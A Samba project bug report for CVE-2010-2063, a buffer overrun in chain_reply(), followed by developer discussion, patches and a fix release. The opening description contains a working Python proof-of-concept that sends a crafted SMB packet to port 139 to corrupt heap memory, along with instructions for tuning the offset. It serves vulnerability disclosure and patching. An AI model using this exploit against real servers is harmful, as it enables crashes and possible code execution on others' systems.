Bug 7494 - Buffer overrun possible in chain_reply code in 3.3.x and below; CVE-2010-2063
Buffer overrun possible in chain_reply code in 3.3.x and below; CVE-2010-2063
Product: Samba 3.3
Classification: Unclassified
Component: File services
All All
: P3 regression
: ---
Assigned To: Jeremy Allison
Samba QA Contact
Depends on:
  Show dependency treegraph
Reported: 2010-06-04 17:55 UTC by Jeremy Allison
Modified: 2012-03-17 00:25 UTC (History)
4 users (show)

See Also:

Proposed patch for 3.3.x. (1.06 KB, patch)
2010-06-07 13:37 UTC, Jeremy Allison
no flags Details
Proposed patch for 3.0.x. (1.20 KB, patch)
2010-06-07 14:36 UTC, Jeremy Allison
no flags Details

Note You need to log in before you can comment on or make changes to this bug.
Description Jeremy Allison 2010-06-04 17:55:42 UTC
Samba Memory Corruption Vulnerability

Author: Jun Mao

Affected Versions:
This vulnerability only exists in samba 3.3.12 and before, the 3.4.x and later
versions re-implement the whole logic of chain_reply(), thus are not affected by
this vulnerability.

This vulnerability is in function chain_reply() in source\smbd\process.c. 

void chain_reply(struct smb_request *req)
    unsigned smb_off2 = SVAL(inbuf,smb_vwv1); <- we control smb_off2
    inbuf2 = orig_inbuf + smb_off2 + 4 - smb_wct; <- smb_off2 is not validated,
so we can control inbuf2.
    memmove(inbuf2,inbuf,smb_wct); <- arbitrary buffer overwrite here. 

This poc code exploits this vulnerability by overwriting a talloc chunk header 
which will be talloc_free'd later. It uses a fixed offset value. You most likely
need to figure out a different value for your test environment. This can be done
by setting a breakpoint on talloc_free after the memory corruption happens and 
calculating the offset based on the to be freed memory chunk address and the 
samba packet address. Make sure the "\xffSMB" written to the beginning of chunk

Debug output (tested against precompiled package of samba-3.2.3 on backtrack 4
installed with "apt-get install samba"):

root@bt:~# ps -ef|grep smbd
root      6839     1  0 02:46 ?        00:00:00 /usr/sbin/smbd -D
root      6841  6839  0 02:46 ?        00:00:00 /usr/sbin/smbd -D

root@bt:~# gdb --pid=6839
(output omitted)
(gdb) set follow-fork-mode child
(gdb) c

(run this poc from another machine.)

[Thread debugging using libthread_db enabled]
[New Thread 0xb755f6d0 (LWP 6948)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb755f6d0 (LWP 6948)]
0x41414141 in ?? ()


import socket, struct, sys
buffer = "\x00\x00\x00\x5a"
buffer += "\xff\x53\x4d\x42"
buffer += "\x73"
buffer += "A" * 3
buffer += "\x00" * 12
buffer += "A" * 12
buffer += "\x0d"
buffer += "\x73"
buffer += "\x00"
buffer += "\x3d\x00"
buffer += "\x00" * 24
buffer += "\x0d"
buffer += "\x00"
buffer += "\x00"

#offset to overwrite
buffer += "\xf4\x1f"	#offset for precompiled samba 3.2.3 on backtrack 4
#buffer += "\xac\xa7"	#tentative offset for samba 3.3.12 compiled from source 
			#on backtrack 4, it seems not a constant value
			#due to the samba packet address fluctuates everytime
#buffer += "\xff\xff"	#biggest possible value, may demonstrate segfault crash

buffer += "\x00" * 24
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect ((sys.argv[1], 139))
print "Received:"+s.recv(1024)
Comment 1 Jeremy Allison 2010-06-04 17:57:44 UTC
Use iDefense Vendor Notification [V-g6eexdqd5j] in subject lines when sending messages to iDefense Vendor Liaison <vendor-disclosure@idefense.com> about this bug.

Comment 2 Simo Sorce 2010-06-05 09:49:25 UTC
CVE number assigned is:
Comment 3 Jeremy Allison 2010-06-05 19:59:14 UTC
Thanks Simo. I'm planning to do a patch for this over the weekend, or at the latest by Monday (US Pacific). The code is a little tricky, so I really want to make sure I get this right. There's no exploit out there in the wild, so we don't have to get a fix for this in a few hours or so. Please feel free to email/call me if you want to raise the priority and get a fix sooner.

Comment 4 Jeremy Allison 2010-06-07 13:37:15 UTC
Created attachment 5762 [details]
Proposed patch for 3.3.x.

Proposed patch for 3.3.x. Similar fixes for 3.2.x and 3.0.x will follow. Please evaluate.

Comment 5 Jeremy Allison 2010-06-07 14:15:35 UTC
The 3.3.x patch also applies to 3.2.x.
Comment 6 Jeremy Allison 2010-06-07 14:36:54 UTC
Created attachment 5765 [details]
Proposed patch for 3.0.x.

Patch for 3.0.x. Please review.
Comment 7 Jeremy Allison 2010-06-07 18:35:00 UTC
iDefense confirms that the attached patches fix the bug.
Comment 8 Volker Lendecke 2010-06-09 03:36:09 UTC
Jeremy, you might want to consider using "git format-patch" in the future. This makes applying and reviewing patches a bit easier.


Comment 9 Volker Lendecke 2010-06-09 04:27:49 UTC
The patches look okay to me. It does survive the CHAIN2 test (sesssetup&tconx), which is probably the most important one. It fails the CHAIN1 test the same way 3.3 fails without this patch.

I haven't run the full make test, but I don't think this would make any difference. I'm not aware any of the other tests do any chaining at all. The only current platform that does so that I'm aware of is OS/X. So the worst thing that can happen with this patch is that we kill that, but we'll quickly find out.

The patches do seem to fix the problem, so I'd give them a go for a security release of 3.3. 3.2 and 3.0 might just see a hint in the "recommended patches" section of the website or so.

Comment 10 Jeremy Allison 2010-06-09 10:28:33 UTC
Volker, I do know about git format-patch :-). I deliberately didn't use that
as I wanted to make sure I didn't end up accidently pushing this into a visible tree. I was being careful. Typing patch < XXX isn't too much of a hardship on the occasional security bug (IMHO).

Comment 11 Jeremy Allison 2010-06-11 14:52:04 UTC
> I think 3.0.33 and below is fine, here is my analysis. If you guys can confirm or deny this, it would be most helpful:
> Samba 3.0.33 seems fine, I'm not sure when this changed.
> Our input buffer is allocated to be:
>      const int total_buffer_size = (BUFFER_SIZE + LARGE_WRITEX_HDR_SIZE +
>          SAFETY_MARGIN);
> This gives us: 65535 + 65 + 1024 = 66624
> The max value we seem are able to set smb_off2 is 65535. (Two chars)
> The flaw in question uses this to overwrite arbitrary memory:
> memmove(inbuf2,inbuf,smb_wct);
> This writes 36 bytes from inbuf to inbuf2. In our instance, it would seem
> that (inbuf2 + 36 bytes) is well inside the bounds of inbuf.
> We also the advantage of the input buffer being allocated via malloc and
> tmalloc. The fundamental issue is that tmalloc is using a function pointer
> as the destructor, which doesn't happen with malloc.
>  From tracing the source, chain_reply is called twice, the second call comes
> from the first. The input buffer seems to always be shifted by 61 bytes.
> I'm not sure if this is always the case. If this could be shifted by more,
> it may be possible to exploit a variant of this flaw. My SMB knowledge
> isn't extensive enough to understand what's going on fully.

(keeping all comments on this bug in one place).
Comment 12 Jeremy Allison 2010-06-11 14:52:20 UTC
Sorry for the delay. Unfortunately chain_reply can be called
multiple times in a chain (that's why it's called chaining :-).

This means if the attacker were clever enough in constructing
a chained series of SMB1 packets they might be able to overwrite
memory beyond the 66624 malloc'ed limit. I'll do some more
investigation in the 3.3.x and 3.2.x code to see if I've correctly
addressed multiple chaining issues there as well.

Comment 13 Karolin Seeger 2010-06-14 02:17:30 UTC
Samba 3.3.13 is scheduled for June 16 to address this issue.
Jeremy, please let me know if we need to delay or use another patch as soon as possible. Thanks!
Comment 14 Karolin Seeger 2010-06-16 06:21:31 UTC
Samba 3.3.13 has been shipped to address this issue.
Closing out bug report.
Please feel free to reopen if it's still an issue.